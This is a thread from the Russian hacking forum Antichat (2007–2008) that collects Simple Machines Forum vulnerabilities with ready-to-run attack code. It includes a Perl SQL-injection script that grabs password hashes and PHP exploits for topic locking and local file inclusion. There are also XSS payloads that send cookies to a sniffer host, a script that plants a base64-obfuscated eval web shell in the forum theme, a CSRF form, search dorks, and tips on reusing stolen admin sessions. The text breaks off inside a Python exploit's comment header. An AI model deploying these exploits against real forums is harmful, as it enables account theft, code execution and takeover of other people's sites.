Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей Simple Machines Forum] (https://forum.antichat.xyz/showthread.php?t=46567)

FeraS 12.08.2007 04:38

[Обзор уязвимостей Simple Machines Forum]
 
[SMF 1.0 Beta 5 Public]
XSS
Удаленный пользователь может выполнить XSS нападение. SMF не фильтрует данные, представленные пользователем в тэге '[size]'.

Пример:
Код:

size=expression(eval(unescape(document.URL. substring(document.URL.length-41,document.URL. length))))]Big Exploit[/size]
[SMF 1.0.4]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре 'msg'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.

Пример:
Код:

http://[target]/index.php?action=post;msg= 1%20UNION%20SELECT%20memberName, 0,passwd,0,0%20FROM%20smf_members %20WHERE%201/*;topic=8.0; sesc=[VALIDSESCIDHERE]
Эксплоит:
PHP код:

#!/usr/bin/perl -w
################################################################################
# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #
################################################################################
# Simple proof of concept for the modify post SQL Injection issue I discovered #
# in Simple Machine Forums. Supply this script with your username password and #
# the complete url to a post you made, and have permission to edit. 06/19/2005 #
################################################################################

use LWP::UserAgent;

if ( !
$ARGV[3] ) 
{
    print 
"Usage: smf.pl user pass target_uid modify_url\n";
    exit;
}

print 
"###################################################\n";
print 
"# Simple Machine Forums Modify Post SQL Injection #\n";
print 
"###################################################\n";

my $user $ARGV[0]; # your username
my $pass $ARGV[1]; # your password
my $grab $ARGV[2]; # the id of the target account
my $post $ARGV[3]; # the entire url to modify a post you made
my $dump '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' $grab '/*';
   
$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");

my $ua = new LWP::UserAgent;
   
$ua->agent("SMF Hash Grabber v1.0" $ua->agent);

$ua->cookie_jar({});

print 
"[*] Trying $path ...\n";

my $req = new HTTP::Request POST => $path "/index.php?action=login2";
   
$req->content_type('application/x-www-form-urlencoded');
   
$req->content('user=' $user '&passwrd=' $pass '&cookielength=-1');
my $res $ua->request($req); 

print 
"[*] Logging In ...\n";

# When a correct login is made, a redirect is issued, and no 
# text/html is sent to the browser really. We put 1024 to be
# safe. This part can be altered in case of modded installs!
if ( length($res->content) < 1024 )
{
    print 
"[+] Successfully logged in as $user \n";
    
my $sid $ua->get($path '/index.php?action=profile;sa=account');    

    
# We get our current session id to be used
    
print "[*] Trying To Get Valid Sesc ID \n";
    if ( 
$sid->content =~ /sesc=([a-f0-9]{32})/ )
    {
        
# Replace the old session parameter with the
        # new one so we do not get an access denied!
        
my $sesc = $1;
           
$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;

        print 
"[+] Valid Sesc Id : $sesc\n";
        print 
"[*] Trying to get password hash ...\n";

        
my $pwn $ua->get($post);    
        if ( 
$pwn->content =~ />([a-z0-9]{32})<\//i )
        
{
            print 
"[+] Got the password hash!\n";
            print 
"[+] Password Hash : $1\n";
        }
        else
        {
            print 
"[!] Exploit Failed! Try manually verifying the vulnerability \n";
        }
    }
    else
    {
        print 
'[!] Unable to obtain a valid sesc key!!';
        exit;
    }
}
else
{
    print 
'[!] There seemed to be a problem logging you in!';
    exit;


[SMF 1.0.5]
XSS
XSS уязвимость через BB коды.

Пример:
Код:

[size=0pt][sub][^color=#e1e1e1]g[img]http://re [flash=200,200]http://w onerror=img=new/**/Image();a=String.fromCharCode(?,?,$);img.src=a+document.cookie;this.style.display='none' and end[/flash][/img][/color][/sub][/size]
[SMF 1.0.6]
XSS
Уязвимость существует из-за недостаточной обработки входных данных в поле "X-Forwarded-For" HTTP заголовка. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта при просмотре злонамеренных данных с помощью "View all members".

[SMF 1.1 RC2]
Lock Topics Remote Exploit:
PHP код:

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r
('
--------------------------------------------------------------------------------
Simple Machines Forum <= 1.1.RC2 "lock"/Zend_Hash_Del_Key_Or_Index Vulnerability
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork, version specific: "Powered by SMF"
--------------------------------------------------------------------------------
'
);

if (
$argc<6) {
print_r('
--------------------------------------------------------------------------------
Usage: php ".$argv[0]." host path user pass topic OPTIONS
host:       target server (ip/hostname)
path:       path to SMF
user/pass:  u need a valid user account
lock:       topic u want to lock
Options:
   -p[port]:    specify a port other than 80
   -P[ip:port]: specify a proxy
Examples:
php ".$argv[0]." localhost /smf/ user pass 4
php ".$argv[0]." localhost /smf/ user pass 3 -p81
php ".$argv[0]." localhost / user pass 7 -P1.1.1.1:80
--------------------------------------------------------------------------------
'
);
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function 
quick_dump($string)
{
  
$result='';$exa='';$cont=0;
  for (
$i=0$i<=strlen($string)-1$i++)
  {
   if ((
ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {
$result.="  .";}
   else
   {
$result.="  ".$string[$i];}
   if (
strlen(dechex(ord($string[$i])))==2)
   {
$exa.=" ".dechex(ord($string[$i]));}
   else
   {
$exa.=" 0".dechex(ord($string[$i]));}
   
$cont++;if ($cont==15) {$cont=0$result.="\r\n"$exa.="\r\n";}
  }
 return 
$exa."\r\n".$result;
}
$proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function 
sendpacketii($packet)
{
  global 
$proxy$host$port$html$proxy_regex;
  if (
$proxy=='') {
    
$ock=fsockopen(gethostbyname($host),$port);
    if (!
$ock) {
      echo 
'No response from '.$host.':'.$port; die;
    }
  }
  else {
    
$c preg_match($proxy_regex,$proxy);
    if (!
$c) {
      echo 
'Not a valid proxy...';die;
    }
    
$parts=explode(':',$proxy);
    echo 
"Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    
$ock=fsockopen($parts[0],$parts[1]);
    if (!
$ock) {
      echo 
'No response from proxy...';die;
    }
  }
  
fputs($ock,$packet);
  if (
$proxy=='') {
    
$html='';
    while (!
feof($ock)) {
      
$html.=fgets($ock);
    }
  }
  else {
    
$html='';
    while ((!
feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      
$html.=fread($ock,1);
    }
  }
  
fclose($ock);
  
#debug
  #echo "\r\n".$html;
}
function 
my_encode($my_string)
{
  
$encoded="";
  for (
$k=0$k<=strlen($my_string)-1$k++)
  {
    
$encoded.="chr(".ord($my_string[$k]);
    if (
$k==strlen($my_string)-1) {$encoded.=")";}
    else {
$encoded.=").";}
  }
  return 
$encoded;
}

function 
make_seed()
{
   list(
$usec$sec) = explode(' 'microtime());
   return (float) 
$sec + ((float) $usec 100000);
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$topic=(int)$argv[5];
$port=80;
$proxy="";

for (
$i=3$i<=$argc-1$i++){
$temp=$argv[$i][0].$argv[$i][1];
if ((
$temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];}
if (
$temp=="-p")
{
  
$port=str_replace("-p","",$argv[$i]);
}
if (
$temp=="-P")
{
  
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if (
$proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="user=".urlencode($user);
$data.="&passwrd=".urlencode($pass);
$data.="&cookielength=-1";
$data.="&hash_passwrd=";
$data.="&submit=Login";
$packet ="POST ".$p."index.php?action=login2 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for (
$i=1$i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
echo 
"cookie -> ".$cookie."\r\n";
$temp=explode("PHPSESSID=",$cookie);
$temp2=explode(";",$temp[1]);
$sessid=$temp2[0];
echo 
"sessid -> ".$sessid."\r\n";
$temp=explode(";member=",$html);
$temp2=explode("\n",$temp[1]);
$uid=(int)$temp2[0];
echo 
"user id -> ".$uid."\r\n";

$packet="GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode('name="sc" value="',$html);
$temp2=explode("\"",$temp[1]);
$sc=$temp2[0];
echo 
"sc code -> ".$sc."\r\n";
$temp=explode('"num_replies" value="',$html);
$temp2=explode("\"",$temp[1]);
$replies=$temp2[0];
echo 
"num replies -> ".$replies."\r\n";

$hash_1="173250926";
$hash_2="266332046";

$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="topic"

'
.$topic.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="subject"

I totally disagree, locked.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="icon"

xx
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="message"

I totally disagree, locked.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="notify"

0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="lock"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="'
.$hash_1.'"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="'
.$hash_2.'"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="sticky"

0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="move"

0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="attachment[]"; filename=""
Content-Type: application/octet-stream


-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="post"

Post
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="num_replies"

'
.$replies.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="additional_options"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="sc"

'
.$sc.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="seqnum"

0
-----------------------------7d61bcd1f033e--
'
;

$packet="POST ".$p."index.php?action=post2;start=3;board=".$board." HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Referer: http://".$host.$path."index.php?action=post;topic=1.0;num_replies=0\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

$packet"GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if  (
strstr($html,"This topic is locked")) {echo "Exploit succeeded...";}
else {echo 
"Exploit failed...";}
?>

(lngfile) Remote Exploit:
PHP код:

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r
('
--------------------------------------------------------------------------------
Simple Machines Forum <= 1.1 rc2 "lngfile" Zend_Hash_Del_Key_Or_Index/arbitrary
local inclusion exploit (Win boxes)
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Powered by SMF"
--------------------------------------------------------------------------------
'
);
/*
works against Win boxes
regardless of php.ini settings
against PHP < 4.3.3, PHP 5 < 5.1.4
*/

if ($argc<5) {
print_r('
--------------------------------------------------------------------------------
Usage: php '
.$argv[0].' host path mail include OPTIONS
host:      target server (ip/hostname)
path:      path to SMF
mail:      your email, required for activation
include:   path to file you want to include
Options:
   -p[port]:    specify a port other than 80
   -P[ip:port]: specify a proxy
Examples:
php '
.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini
php '
.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini -p81
php '
.$argv[0].' localhost / youremail@hotmail.com ../../../../../boot.ini -P1.1.1.1:80
--------------------------------------------------------------------------------
'
);
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function 
quick_dump($string)
{
  
$result='';$exa='';$cont=0;
  for (
$i=0$i<=strlen($string)-1$i++)
  {
   if ((
ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {
$result.="  .";}
   else
   {
$result.="  ".$string[$i];}
   if (
strlen(dechex(ord($string[$i])))==2)
   {
$exa.=" ".dechex(ord($string[$i]));}
   else
   {
$exa.=" 0".dechex(ord($string[$i]));}
   
$cont++;if ($cont==15) {$cont=0$result.="\r\n"$exa.="\r\n";}
  }
 return 
$exa."\r\n".$result;
}
$proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function 
sendpacketii($packet)
{
  global 
$proxy$host$port$html$proxy_regex;
  if (
$proxy=='') {
    
$ock=fsockopen(gethostbyname($host),$port);
    if (!
$ock) {
      echo 
'No response from '.$host.':'.$port; die;
    }
  }
  else {
    
$c preg_match($proxy_regex,$proxy);
    if (!
$c) {
      echo 
'Not a valid proxy...';die;
    }
    
$parts=explode(':',$proxy);
    echo 
"Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    
$ock=fsockopen($parts[0],$parts[1]);
    if (!
$ock) {
      echo 
'No response from proxy...';die;
    }
  }
  
fputs($ock,$packet);
  if (
$proxy=='') {
    
$html='';
    while (!
feof($ock)) {
      
$html.=fgets($ock);
    }
  }
  else {
    
$html='';
    while ((!
feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      
$html.=fread($ock,1);
    }
  }
  
fclose($ock);
  
#debug
  #echo "\r\n".$html;
}

function 
make_seed()
{
   list(
$usec$sec) = explode(' 'microtime());
   return (float) 
$sec + ((float) $usec 100000);
}

$host=$argv[1];
$path=$argv[2];
$email=$argv[3];
$include=$argv[4];
$port=80;
$proxy="";

for (
$i=3$i<$argc$i++){
$temp=$argv[$i][0].$argv[$i][1];
if (
$temp=="-p")
{
  
$port=str_replace("-p","",$argv[$i]);
}
if (
$temp=="-P")
{
  
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if (
$proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

srand(make_seed());
$anumber rand(1,9999999);
$user="sun-tzu".$anumber;
$pass="sun-tzu".$anumber;
$packet ="GET ".$p."index.php?action=register HTTP/1.0\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for (
$i=1$i<count($temp); $i++)
{
 
$temp2=explode(" ",$temp[$i]);
 
$cookie.=" ".$temp2[0];
}
$temp=explode("PHPSESSID=",$cookie);
$temp2=explode(";",$temp[1]);
$sessid=$temp2[0];

$data="user=".$user;
$data.="&email=".$email;
$data.="&hideEmail=1";
$data.="&passwrd1=".$pass;
$data.="&passwrd2=".$pass;
$data.="&regagree=on";
$data.="&lngfile=%2f".$include."%00";
$data.="&1412642694=1";
$data.="&850639942=1";
$data.="&regSubmit=Register";
$packet ="POST ".$p."index.php?action=register2 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Referer: http://".$host.$path."index.php?PHPSESSID=$sessid\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: $cookie\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
print_r("
now login with user: "
.$user." pass: ".$pass." and you will see
"
.basename($include)." file at screen...
"
);
?>

[SMF 1.1 RC3]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "cur_cat" в сценарии Sources/ManageBoards.php во время добавления нового форума. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

[SMF 1.1.2]
XSS
Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и скомпрометировать целевую систему.

1. Уязвимость существует из-за недостаточной обработки входных данных во время создания или редактирования сообщения форума. Удаленный пользователь может внедрить в сообщение произвольный PHP сценарий и выполнить его на системе с привилегиями Web сервера.
2. Уязвимость существует из-за недостаточного механизма выбора случайных файлов в механизме звуковой CAPTCHA. Удаленный пользователь может произвести брут-форс атаку.

FeraS 12.08.2007 04:38

[SMF 1.1.2]
XSS
Отсутствует фильтрация atachment filename

Способы эксплуатации:

1. Получение cookie
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
Код:

attachfilename<img src=. width=1 height=1 onerror=javascript:new&#32Image().src='http:&#47&#47sniffsite.com&#47s.gif?'+document.cookie>.txt
(в адресе sniffer'a все / заменяем на &#47)
Получаем cookie

2. Получение web shell'a
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
Код:

name<img src=. width=1 height=1 onerror=javascript:var&#32s=document.createElement('script');s.src='http:  &#47&#47site.com&#47smfexp.js';document.documentElement.firstChild.  appendChild(s);>.txt
(все / в атрибуте src заменяем на &#47)
Это код простейшего динамического загрузчика скриптов
http:&#47&#47site.com&#47smfexp.js - адрес загружаемого скрипта
smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell

smfexp.js:
PHP код:

/*
        SMF Active XSS Exploit by Cenarius
        Email: ooohoow@gmail.com | Icq: 100732

        Adds shell to index.php of default forum's template
*/

var shellCode = "<?php\n\n";
shellCode += "
// Try to handle it with the upper level index.php.  (it should know what to do.)\n";
shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1  BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n";  // @eval($_POST['cd']);
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += "   include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += "   exit;\n\n?>";

sendRequest("index.php"null"GET"getSesc);

function 
getSesc(request) {
    var 
sessVerify request.responseText.match(/sesc=([a-z0-9]{32})/);

    if(
sessVerify) {
        
sendRequest(
            
"index.php?action=theme;th=1;sa=edit",
            
"entire_file=" escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" sessVerify[1],
            
"POST"null);
    }
}

function 
sendRequest(urldatamethodonLoadFunc) {
    var 
request createHttpRequest();

    if(
request) {
        
request.open(methodurltrue);
        
        if(
method == "POST") {
            
request.setRequestHeader("Content-Type""application/x-www-form-urlencoded"); }

        if(
onLoadFunc) {
            
request.onreadystatechange = function() {
                if(
request.readyState == 4) {
                    
onLoadFunc(request); }
            }
        }
        
request.send(data);
    }


function 
createHttpRequest() {
    var 
httpRequest false;
    try {
        
httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
    catch(
e) {
        try {
            
httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
        catch(
e) {
            try {
                
httpRequest = new XMLHttpRequest(); }
            catch(
e) {
                
httpRequest false;
            }
        }
    }
    return 
httpRequest;
}

// EOF

По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
index.php будет содержать следующий код:
Код:

@eval($_POST['cd']);
Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
Код:

new Image().src='http://sniffsite.com/s.gif?'+document.cookie;

SanyaX 12.08.2007 21:46

Simple Machines Forum 1.1.3 Remote Blind SQL Injection Exploit

#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!
# -Binary Search
# -Multi-Threaded
# -NO benchmark()'s
#
#Two SQL Injection flaws.
#Works with magic_quotes_gpc=On or Off.
#Total Bypass of SMF's SQL Injection filter.



Active-XSS in SMF <= 1.1.3



Faq по Smf (Заливка шелла)

Elekt 12.01.2008 22:57


[ IP-Spoofing (c) antichat.ru ]

Поддержка X_FORWARDER_FOR позволяет обходить бан, использовать краденную через XSS сессию админа в обход привязки по айпи.

Оперативно изменять Ip в X_FORWARDER_FOR вам помогут Proxomitron 4.*(http://www.proxomitron.domtech.ru/index.htm) либо Odysseus 2.*(http://www.wastelands.gen.nz/odysseus/index.php)

[ DEBUG (c) antichat.ru ]

Раскрытие информации о сервере.

Достаточно указать в урл debug=1 :

http://smf.com/index.php?debug=1


Passive XSS in SMF 1.1.4

Site.com/component/option,com_smf/Itemid,8'XSS,1/topic,1.0/
Site.com/component/option,com_smf/Itemid,5/topic,1.XSS/


phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities


SMF Forum Mambo Component <= 1.3.1.3 Include Vulnerability


eFiction <= 3.1.1 (path_to_smf) Remote File Include Vulnerabilities

_-Ramos-_ 24.01.2008 18:07

SMF 1.1.4 - Add User In Group [CSRF]
 
SMF 1.1.4 - Add User In Group [CSRF]
Код:

||                    ***************                                  ||
||                  Author: phAnt0mh4ck3r                              ||
||                  *************************                            ||
||                SMF 1.1.4 - Add User In Group [CSRF]                  ||
|| r00tsecurity.org |b4lc4n-h4ck.org |cyber-underground.org |h4cky0u.org ||
||  ________________________________________________________________    ||
|_________________________________________________________________________|

Dork: "SMF 1.1.4"
Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4"
Код:

</html>
</head>
<body>                             
<form action="http://adress.com/path/index.php?action=membergroups;sa=members;group=GroupID" method="post"
<input type="text" name="toAdd" id="toAdd" size="30" />   
<input type="submit" name="add" value="Add Members" />
<input type="hidden" name="sc" value="ADMIN SESSION ID" />
</form>
</body>
</html>

Or you can use it:
Код:

forum/path/index.php?action=membergroups;sa=members;group=groupid;toAdd=usertoadd&add=Add+Members&sc=sid

Elekt 13.03.2008 08:22

passive XSS
 

passive XSS in SMF mod Shoutbox

Simple Machines Forum "SMF Shoutbox" Mod 1.16b-1.14

Reference: http://custom.simplemachines.org/mods/index.php?mod=412

Bug:Persistent XSS

SMF Shoutbox is a popular shoutbox mod for Simple Machines Forum.The content of a post variable used to hold the user shout is stored in the database and then displayed to the visitors without being properly filtered.So we can insert HTML or Javascript code in the database which is then displayed in the shoutbox (which is usually at the index page of the forum).
Note:the content of this variable is also stored in an html file (sbox.history.html)residing in the main folder where SMF is installed so it is possible to insert and then execute php code under some server configurations.

Vulnerable versions: 1.16b down to 1.14

Search Engines query: "powered by smf 1.1" "SMF Shoutbox"

Vuln code

-In sboxDB.php

function missinghtmlentities() fails to sanitize
input passed to the shoutbox form


Exploit

All we have to do is pass to the shoutbox form a string starting with '&#' and ending with ';'
Most sites configuration doesnt enable guest visitors to post comments so you should create an account and login in order to exploit.SMF Shoutbox is usually in the index page of the forum so you could easily exploit this issue to collect Admins and user cookies,hijack sessions,etc



Pass this string to the shoutbox

&#<script>alert(String.fromCharCode(88,83,83))</script>;

If successful every visitor of the page should see an alert saying 'XSS'


Note:

We can inject php code but the output file (sbox.history.html)has an .html extension so in order for the code to execute the server must be configured to parse .html files for php code which is not the default configuration.

blackybr 06.04.2008 16:18

5 Способов залить шелл. https://forum.antichat.ru/thread43633.html


Кстати способ с редактированием шаблонов по сути является и универсальной читалкой файлов из админки. Льем левую тему, можно даже без файлов. Ставим ей путь "/" и юзаем до посинения читалку прибавляя не index.template.php как в вышесказанной теме, а все что угодно (/etc/passwd, /home/admin/public_html/config.php к примеру)

Там стоит фильтр только на ../ в самой переменной, но он нам и не нужен.

Elekt 23.04.2008 00:32

SMForum audio Captcha Breaking
 
Deciphering the Simple Machines Forum audio Captcha
http://securityvulns.ru/Tdocument705.html


Вкратце и по сути.

Найден новый способ обхода капча кода в SMF.
Автор существенно усовершенствовал алгоритм Шанкара, и обошел пропатченную капчу.

Фишка в недостаточной рандомизации звука каждой буквы.
Из искомого файла выделяются отдельные буквы, затем сравниваются с эталоном.

Также автор поломал капчу в PHP-Nuke ( уязвимость в недостаточной длинне парольной строки и рандомной генерации хеша) используя радужную таблицу хешей на 1 миллион комбинаций.

От себя добавлю, что используя описанный алгоритм, открываются новые возможности по обходу капчи и во многих других продуктах и сервисах, заботящихся об ущербных пользователях использующих аудио-подтверждение как тест тьюринга.

.Begemot. 16.06.2008 11:37

Simple Machines Forum <= 1.1.4 Sql Injection Vulnerability
 
Simple Machines Forum <= 1.1.4 Sql Injection Vulnerability

Уязвимость заключается в обходе слеширования addslashes() , используя мультибайтный символ "%a3%27" в кодировке "big5"

Код HTML:

#!/usr/bin/python
"""
#=================================================================================================#
#                    ____            __________        __            ____  __                  #
#                    /_  | ____    |__\_____  \  _____/  |_          /_  |/  |_                #
#                    |  |/    \    |  | _(__  <_/ ___\  __\  ______  |  \  __\              #
#                    |  |  |  \  |  |/      \  \___|  |  /_____/  |  ||  |                #
#                    |___|___|  /\__|  /______  /\___  >
__|            |___||__|                #
#                              \/\______|      \/    \/                                          #
#=================================================================================================#
#                                    This was a priv8 Exploit                                    #
#=================================================================================================#
#                                        Simple Machines Forum <= 1.1.4                                #
#                                          Sql Injection Vulnerability                                      #
#                                    Priviledge Escalation Exploit                                #
#====================================#===========#====================================#===========#
# Server Configuration Requirements  #          # Some Information                  #          #
#====================================#                #====================================#          #
#                                                #                                                #
# register_globals = 1                          #  Vendor:  www.simplemachines.org              #
#                                                #  Author:  The:Paradox                        #
#================================================#  Severity: N/A                                  #
#                                                  #                                                  #
# You may find exploits updates and more          #                                                  #
# explanations on =>
                                #  Proud To Be Italian.                          #
#                    http://paradox.altervista.org          #                                                    #
#                                                #                                                #
#====================================#===========#================================================#
# Board Description                    #                                                                  #
#====================================#                                                                  #
#                                                                                                  #
# Simple Machines Forum - SMF in short - is a free, professional grade software package that          #
# allows you to set up your own online community within minutes.                                  #
# Its powerful custom made template engine puts you in full control of the lay-out of your          #
# message board and with our unique SSI - or Server Side Includes - function you can let your    #
# forum and your website interact with each other.                                                  #
# SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide #
# you with all the features you need from a bulletin board while having an absolute minimal          #
# impact on the resources of the server.                                                          #
# SMF is the next generation of forum software - and best of all it is and will always                  #
# remain completely free!                                                                          #
#                                                                                                  #
#====================================#============================================================#
# Proof Of Concept / Bug Explanation #                                                            #
#====================================#                                                            #
# This is a quite old exploit and it is inapplicable on 1.1.5 version and on last 2.0 pre-release #
# (that's why I decided to public it). First, let's have a little poc.                                  #
#=================================================================================================#

[Load.php]

148.        if (isset($db_character_set) && preg_match('~^\w+$~', $db_character_set) === 1)
149.                db_query("
150.                        SET NAMES $db_character_set", __FILE__, __LINE__);


#=================================================================================================#
# In Load.php if $db_character_set is set Smf will execute a Set Names Sql Query.                        #
# Directly from dev.mysql.com let's see what it means.                                                  #
#                                                                                                  #
# "SET NAMES indicates what character set the client will use to send SQL statements to the      #
# the server. Thus, SET NAMES 'cp1251' tells the server future incoming messages from this client #
# are in character set cp1251."                                                                          #
#                                                                                                  #
# Ok, now let's see what $db_character_set is.                                                          #
# $db_character_set is a "Settings.php variable" written only if a "Non-Default tick"                  #
# is checked during the installation process.                                                          #
# The real vulnerability is when the "Non-Default tick" is left unchecked, Smf doesn't write      #
# it in "Settings.php" and no value is assigned to it: it's possible to set it                          #
# via register_globals.                                                                                  #
#                                                                                                  #
# Now the cool poc section =D                                                                          #
# Surely you saw that preg_match avoids any injection of non-alphanumerical chars in the query    #
# at line 150 in Load.php                                                                            #
# So, how is possible to take advantage of that?                                                  #
# To understand this vulnerability you have to comprehend some character set presents multibyte          #
# characters and they may obiate addslashes() function.                                                      #
# Addslashes simply adds a backslash (0x5c) before single quote ('), double quote ("),                  #
# backslash (\) and NUL (the NULL byte), without checking if the added blackslash creates          #
# another char.                                                                                          #
# No, i'm not going mad :P Here is an example:                                                          #
#                                                                                                  #
#                                                Bytes in Input                                          #
#                                                      0xa327                                                  #
#                                                                                                  #
